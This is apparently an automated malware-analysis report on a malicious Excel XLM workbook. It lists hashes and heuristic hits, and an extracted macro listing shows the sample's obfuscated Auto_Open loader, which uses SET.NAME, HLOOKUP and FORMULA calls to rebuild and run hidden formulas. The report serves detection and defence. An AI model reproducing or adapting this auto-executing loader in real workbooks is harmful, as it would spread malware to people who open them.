Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 604da750c8d879ec…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:45:16 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 196f0a2b280c6dd699d37fca6089169f SHA-1: 68e757d61ccc6afa880d3cad1857006d088e2906 SHA-256: 604da750c8d879ec9bf60a9a05a23fffdfe5cd11d4dde616be1f970ec03b6a40
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6602 bytes
SHA-256: ef357178a7eab0ccedcf24f054574231a87d3f8f953ea9d624b12108f83cfaf1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tupwVsmC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E156 
' 0018     22 LABEL : Cell Value, String Constant - cKypFMA len=0 
' 0018     26 LABEL : Cell Value, String Constant - gWcoHSERBSC len=0 
' 0018     27 LABEL : Cell Value, String Constant - hToRgxtxpzbZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - LKdmPO len=0 
' 0018     24 LABEL : Cell Value, String Constant - lQdOvoiRC len=0 
' 0018     21 LABEL : Cell Value, String Constant - NfLDfI len=0 
' 0018     22 LABEL : Cell Value, String Constant - OnbtUmA len=0 
' 0018     23 LABEL : Cell Value, String Constant - PdVEkBsN len=0 
' 0018     24 LABEL : Cell Value, String Constant - pRdTZdyTo len=0 
' 0018     21 LABEL : Cell Value, String Constant - qDJemj len=0 
' 0018     27 LABEL : Cell Value, String Constant - RNWMknJqWOoh len=0 
' 0018     23 LABEL : Cell Value, String Constant - SEgpYFnd len=0 
' 0018     23 LABEL : Cell Value, String Constant - SphvQFvX len=0 
' 0018     27 LABEL : Cell Value, String Constant - TXAruPaMjngp len=0 
' 0018     24 LABEL : Cell Value, String Constant - UXBASarSV len=0 
' 0018     21 LABEL : Cell Value, String Constant - UZgDdd len=0 
' 0018     27 LABEL : Cell Value, String Constant - xOdrwniIyWTY len=0 
' 0018     21 LABEL : Cell Value, String Constant - xVXiFe len=0 
' 0018     27 LABEL : Cell Value, String Constant - zAVLFCROgeCx len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZwZLHOcU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tupwVsmC,E60,"SET.NAME("UZgDdd",VALUE("0"))",""
'  tupwVsmC,E65,"SET.NAME("xOdrwniIyWTY",UZgDdd)",""
'  tupwVsmC,E70,"SET.NAME("OnbtUmA",UZgDdd)",""
'  tupwVsmC,E73,"SET.NAME("cKypFMA",COUNTA(ZwZLHOcU))",""
'  tupwVsmC,E77,"SET.NAME("lQdOvoiRC",COUNTA(qDJemj))",""
'  tupwVsmC,E80,[],""
'  tupwVsmC,E82,"SET.NAME("PdVEkBsN","")",""
'  tupwVsmC,E85,"xOdrwniIyWTY",""
'  tupwVsmC,E89,"SET.NAME("xVXiFe",HLOOKUP("*",ZwZLHOcU,xOdrwniIyWTY,FALSE))",""
'  tupwVsmC,E94,"UXBASarSV",""
'  tupwVsmC,E98,"SET.NAME("SEgpYFnd",UZgDdd)",""
'  tupwVsmC,E102,[],""
'  tupwVsmC,E106,"SEgpYFnd",""
'  tupwVsmC,E111,"zAVLFCROgeCx",""
'  tupwVsmC,E116,"LKdmPO",""
'  tupwVsmC,E121,"hToRgxtxpzbZ",""
'  tupwVsmC,E123,"SET.NAME("SphvQFvX",VALUE(HLOOKUP("*",qDJemj,hToRgxtxpzbZ,FALSE)))",""
'  tupwVsmC,E126,"gWcoHSERBSC",""
'  tupwVsmC,E131,"PdVEkBsN",""
'  tupwVsmC,E133,"OnbtUmA",""
'  tupwVsmC,E136,NEXT(),""
'  tupwVsmC,E138,"NfLDfI",""
'  tupwVsmC,E141,"SET.NAME("f",INT(T(FORMULA(T(PdVEkBsN)&"",""&T(NfLDfI)))))",""
'  tupwVsmC,E145,"TXAruPaMjngp",""
'  tupwVsmC,E150,NEXT(),""
'  tupwVsmC,E154,RETURN(),""
'  tupwVsmC,E178,"SET.NAME("pRdTZdyTo",E60)",""
'  tupwVsmC,E180,"ZwZLHOcU",""
'  tupwVsmC,E183,"SET.NAME("qDJemj",R49C15)",""
'  tupwVsmC,E185,"SET.NAME("TXAruPaMjngp",194)",""
'  tupwVsmC,E189,"SET.NAME("RNWMknJqWOoh",5)",""
'  tupwVsmC,E193,pRdTZdyTo(),""
'  tupwVsmC,E194,HALT(),""

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